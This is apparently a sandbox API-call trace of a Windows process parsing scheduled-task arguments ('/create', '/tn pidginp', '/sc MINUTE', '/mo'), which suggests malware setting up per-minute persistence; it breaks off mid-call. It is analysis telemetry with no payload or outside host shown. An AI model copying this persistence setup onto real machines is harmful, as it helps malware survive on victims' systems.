CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.995] lstrlenW (lpString="st") returned 2 [0110.995] GetThreadLocale () returned 0x409 [0110.995] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.995] lstrlenW (lpString="sd") returned 2 [0110.995] GetThreadLocale () returned 0x409 [0110.996] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.996] lstrlenW (lpString="ed") returned 2 [0110.996] GetThreadLocale () returned 0x409 [0110.996] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.996] lstrlenW (lpString="it") returned 2 [0110.996] GetThreadLocale () returned 0x409 [0110.996] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.996] lstrlenW (lpString="et") returned 2 [0110.996] GetThreadLocale () returned 0x409 [0110.996] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.996] lstrlenW (lpString="k") returned 1 [0110.996] GetThreadLocale () returned 0x409 [0110.996] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.996] lstrlenW (lpString="du") returned 2 [0111.019] GetThreadLocale () returned 0x409 [0111.019] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.019] lstrlenW (lpString="ri") returned 2 [0111.019] GetThreadLocale () returned 0x409 [0111.019] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.019] lstrlenW (lpString="z") returned 1 [0111.019] GetThreadLocale () returned 0x409 [0111.019] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.019] lstrlenW (lpString="f") returned 1 [0111.019] GetThreadLocale () returned 0x409 [0111.019] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.019] lstrlenW (lpString="v1") returned 2 [0111.019] GetThreadLocale () returned 0x409 [0111.019] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.019] lstrlenW (lpString="xml") returned 3 [0111.019] GetThreadLocale () returned 0x409 [0111.020] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.020] lstrlenW (lpString="ec") returned 2 [0111.020] GetThreadLocale () returned 0x409 [0111.020] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.020] lstrlenW (lpString="rl") returned 2 [0111.020] GetThreadLocale () returned 0x409 [0111.020] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.020] lstrlenW (lpString="delay") returned 5 [0111.020] GetThreadLocale () returned 0x409 [0111.020] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.020] lstrlenW (lpString="np") returned 2 [0111.020] GetThreadLocale () returned 0x409 [0111.020] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.020] lstrlenW (lpString="hresult") returned 7 [0111.020] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.020] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.020] lstrlenW (lpString="/create") returned 7 [0111.020] lstrlenW (lpString="-/") returned 2 [0111.020] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0111.020] lstrlenW (lpString="create") returned 6 [0111.020] lstrlenW (lpString="create") returned 6 [0111.020] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.020] lstrlenW (lpString="create") returned 6 [0111.021] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.021] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x9, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|create|") returned 8 [0111.021] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|create|") returned 8 [0111.021] lstrlenW (lpString="|create|") returned 8 [0111.021] lstrlenW (lpString="|create|") returned 8 [0111.021] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0111.021] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.021] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.021] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.021] lstrlenW (lpString="/tn") returned 3 [0111.021] lstrlenW (lpString="-/") returned 2 [0111.021] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0111.021] lstrlenW (lpString="create") returned 6 [0111.021] lstrlenW (lpString="create") returned 6 [0111.021] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.021] lstrlenW (lpString="tn") returned 2 [0111.021] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.021] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x9, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|create|") returned 8 [0111.021] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tn|") returned 4 [0111.022] lstrlenW (lpString="|create|") returned 8 [0111.022] lstrlenW (lpString="|tn|") returned 4 [0111.022] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0111.022] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.022] lstrlenW (lpString="?") returned 1 [0111.022] lstrlenW (lpString="?") returned 1 [0111.022] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.022] lstrlenW (lpString="tn") returned 2 [0111.022] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.022] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|?|") returned 3 [0111.022] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tn|") returned 4 [0111.022] lstrlenW (lpString="|?|") returned 3 [0111.022] lstrlenW (lpString="|tn|") returned 4 [0111.022] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.022] lstrlenW (lpString="s") returned 1 [0111.022] lstrlenW (lpString="s") returned 1 [0111.022] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.022] lstrlenW (lpString="tn") returned 2 [0111.022] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.023] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|s|") returned 3 [0111.023] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tn|") returned 4 [0111.023] lstrlenW (lpString="|s|") returned 3 [0111.023] lstrlenW (lpString="|tn|") returned 4 [0111.023] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.023] lstrlenW (lpString="u") returned 1 [0111.023] lstrlenW (lpString="u") returned 1 [0111.023] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.023] lstrlenW (lpString="tn") returned 2 [0111.023] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.023] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|u|") returned 3 [0111.023] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tn|") returned 4 [0111.023] lstrlenW (lpString="|u|") returned 3 [0111.023] lstrlenW (lpString="|tn|") returned 4 [0111.023] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.023] lstrlenW (lpString="p") returned 1 [0111.023] lstrlenW (lpString="p") returned 1 [0111.023] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.023] lstrlenW (lpString="tn") returned 2 [0111.023] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.024] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|p|") returned 3 [0111.024] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tn|") returned 4 [0111.024] lstrlenW (lpString="|p|") returned 3 [0111.024] lstrlenW (lpString="|tn|") returned 4 [0111.024] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.024] lstrlenW (lpString="ru") returned 2 [0111.024] lstrlenW (lpString="ru") returned 2 [0111.024] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.024] lstrlenW (lpString="tn") returned 2 [0111.024] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.024] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|ru|") returned 4 [0111.024] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tn|") returned 4 [0111.024] lstrlenW (lpString="|ru|") returned 4 [0111.024] lstrlenW (lpString="|tn|") returned 4 [0111.024] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0111.024] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.024] lstrlenW (lpString="rp") returned 2 [0111.024] lstrlenW (lpString="rp") returned 2 [0111.024] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.024] lstrlenW (lpString="tn") returned 2 [0111.024] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.025] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|rp|") returned 4 [0111.025] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tn|") returned 4 [0111.025] lstrlenW (lpString="|rp|") returned 4 [0111.025] lstrlenW (lpString="|tn|") returned 4 [0111.025] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0111.025] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.025] lstrlenW (lpString="sc") returned 2 [0111.025] lstrlenW (lpString="sc") returned 2 [0111.025] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.025] lstrlenW (lpString="tn") returned 2 [0111.025] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.025] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|sc|") returned 4 [0111.025] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tn|") returned 4 [0111.025] lstrlenW (lpString="|sc|") returned 4 [0111.025] lstrlenW (lpString="|tn|") returned 4 [0111.025] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0111.025] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.025] lstrlenW (lpString="mo") returned 2 [0111.025] lstrlenW (lpString="mo") returned 2 [0111.025] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.026] lstrlenW (lpString="tn") returned 2 [0111.026] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.026] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|mo|") returned 4 [0111.026] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tn|") returned 4 [0111.026] lstrlenW (lpString="|mo|") returned 4 [0111.026] lstrlenW (lpString="|tn|") returned 4 [0111.026] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0111.026] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.026] lstrlenW (lpString="d") returned 1 [0111.026] lstrlenW (lpString="d") returned 1 [0111.026] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.026] lstrlenW (lpString="tn") returned 2 [0111.026] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.026] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|d|") returned 3 [0111.026] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tn|") returned 4 [0111.026] lstrlenW (lpString="|d|") returned 3 [0111.026] lstrlenW (lpString="|tn|") returned 4 [0111.026] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.026] lstrlenW (lpString="m") returned 1 [0111.027] lstrlenW (lpString="m") returned 1 [0111.027] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.027] lstrlenW (lpString="tn") returned 2 [0111.027] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.027] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|m|") returned 3 [0111.027] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tn|") returned 4 [0111.027] lstrlenW (lpString="|m|") returned 3 [0111.027] lstrlenW (lpString="|tn|") returned 4 [0111.027] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.027] lstrlenW (lpString="i") returned 1 [0111.027] lstrlenW (lpString="i") returned 1 [0111.027] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.027] lstrlenW (lpString="tn") returned 2 [0111.027] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.027] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|i|") returned 3 [0111.027] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tn|") returned 4 [0111.027] lstrlenW (lpString="|i|") returned 3 [0111.027] lstrlenW (lpString="|tn|") returned 4 [0111.027] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.028] lstrlenW (lpString="tn") returned 2 [0111.028] lstrlenW (lpString="tn") returned 2 [0111.028] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.028] lstrlenW (lpString="tn") returned 2 [0111.028] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.030] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tn|") returned 4 [0111.030] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tn|") returned 4 [0111.030] lstrlenW (lpString="|tn|") returned 4 [0111.030] lstrlenW (lpString="|tn|") returned 4 [0111.030] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0111.030] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.030] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.030] lstrlenW (lpString="pidginp") returned 7 [0111.030] lstrlenW (lpString="-/") returned 2 [0111.030] StrChrIW (lpStart="-/", wMatch=0x70) returned 0x0 [0111.031] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.031] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.031] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.031] lstrlenW (lpString="pidginp") returned 7 [0111.031] StrChrIW (lpStart="pidginp", wMatch=0x3a) returned 0x0 [0111.031] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.031] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.031] lstrlenW (lpString="pidginp") returned 7 [0111.031] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.031] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.031] lstrlenW (lpString="/sc") returned 3 [0111.031] lstrlenW (lpString="-/") returned 2 [0111.031] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0111.031] lstrlenW (lpString="create") returned 6 [0111.031] lstrlenW (lpString="create") returned 6 [0111.031] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.031] lstrlenW (lpString="sc") returned 2 [0111.031] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.031] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x9, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|create|") returned 8 [0111.031] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|sc|") returned 4 [0111.031] lstrlenW (lpString="|create|") returned 8 [0111.031] lstrlenW (lpString="|sc|") returned 4 [0111.031] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0111.031] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.031] lstrlenW (lpString="?") returned 1 [0111.031] lstrlenW (lpString="?") returned 1 [0111.031] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.031] lstrlenW (lpString="sc") returned 2 [0111.032] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.032] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|?|") returned 3 [0111.032] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|sc|") returned 4 [0111.032] lstrlenW (lpString="|?|") returned 3 [0111.032] lstrlenW (lpString="|sc|") returned 4 [0111.032] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.032] lstrlenW (lpString="s") returned 1 [0111.032] lstrlenW (lpString="s") returned 1 [0111.032] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.032] lstrlenW (lpString="sc") returned 2 [0111.032] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.032] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|s|") returned 3 [0111.032] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|sc|") returned 4 [0111.032] lstrlenW (lpString="|s|") returned 3 [0111.032] lstrlenW (lpString="|sc|") returned 4 [0111.032] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.032] lstrlenW (lpString="u") returned 1 [0111.032] lstrlenW (lpString="u") returned 1 [0111.032] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.032] lstrlenW (lpString="sc") returned 2 [0111.032] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.032] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|u|") returned 3 [0111.032] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|sc|") returned 4 [0111.032] lstrlenW (lpString="|u|") returned 3 [0111.032] lstrlenW (lpString="|sc|") returned 4 [0111.032] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.032] lstrlenW (lpString="p") returned 1 [0111.033] lstrlenW (lpString="p") returned 1 [0111.033] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.033] lstrlenW (lpString="sc") returned 2 [0111.033] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.033] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|p|") returned 3 [0111.033] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|sc|") returned 4 [0111.033] lstrlenW (lpString="|p|") returned 3 [0111.033] lstrlenW (lpString="|sc|") returned 4 [0111.033] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.033] lstrlenW (lpString="ru") returned 2 [0111.033] lstrlenW (lpString="ru") returned 2 [0111.033] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.033] lstrlenW (lpString="sc") returned 2 [0111.033] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.033] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|ru|") returned 4 [0111.033] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|sc|") returned 4 [0111.033] lstrlenW (lpString="|ru|") returned 4 [0111.033] lstrlenW (lpString="|sc|") returned 4 [0111.033] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0111.033] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.033] lstrlenW (lpString="rp") returned 2 [0111.033] lstrlenW (lpString="rp") returned 2 [0111.033] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.033] lstrlenW (lpString="sc") returned 2 [0111.033] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.033] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|rp|") returned 4 [0111.034] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|sc|") returned 4 [0111.034] lstrlenW (lpString="|rp|") returned 4 [0111.034] lstrlenW (lpString="|sc|") returned 4 [0111.034] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0111.034] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.034] lstrlenW (lpString="sc") returned 2 [0111.034] lstrlenW (lpString="sc") returned 2 [0111.034] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.034] lstrlenW (lpString="sc") returned 2 [0111.034] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.034] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|sc|") returned 4 [0111.034] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|sc|") returned 4 [0111.034] lstrlenW (lpString="|sc|") returned 4 [0111.034] lstrlenW (lpString="|sc|") returned 4 [0111.034] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0111.034] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.034] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.034] lstrlenW (lpString="MINUTE") returned 6 [0111.034] lstrlenW (lpString="-/") returned 2 [0111.034] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0111.034] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.034] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.034] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.034] lstrlenW (lpString="MINUTE") returned 6 [0111.034] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0111.034] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.034] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.034] GetProcessHeap () returned 0x26b6b900000 [0111.035] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x18) returned 0x26b6b90ab10 [0111.035] _memicmp (_Buf1=0x26b6b90ab10, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.035] lstrlenW (lpString="MINUTE") returned 6 [0111.035] GetProcessHeap () returned 0x26b6b900000 [0111.035] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0xe) returned 0x26b6b90ab50 [0111.035] lstrlenW (lpString="MINUTE") returned 6 [0111.035] lstrlenW (lpString=" \x09") returned 2 [0111.035] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0111.035] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0111.035] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0111.035] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0111.035] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0111.035] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0111.035] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0111.035] GetLastError () returned 0x0 [0111.035] lstrlenW (lpString="MINUTE") returned 6 [0111.035] lstrlenW (lpString="MINUTE") returned 6 [0111.035] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.035] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.035] lstrlenW (lpString="/mo") returned 3 [0111.035] lstrlenW (lpString="-/") returned 2 [0111.035] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0111.035] lstrlenW (lpString="create") returned 6 [0111.035] lstrlenW (lpString="create") returned 6 [0111.035] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.035] lstrlenW (lpString="mo") returned 2 [0111.035] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.035] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x9, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|create|") returned 8 [0111.035] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|mo|") returned 4 [0111.036] lstrlenW (lpString="|create|") returned 8 [0111.036] lstrlenW (lpString="|mo|") returned 4 [0111.036] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0111.036] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.036] lstrlenW (lpString="?") returned 1 [0111.036] lstrlenW (lpString="?") returned 1 [0111.036] _memicmp (_Buf1=0x26b6b904320, 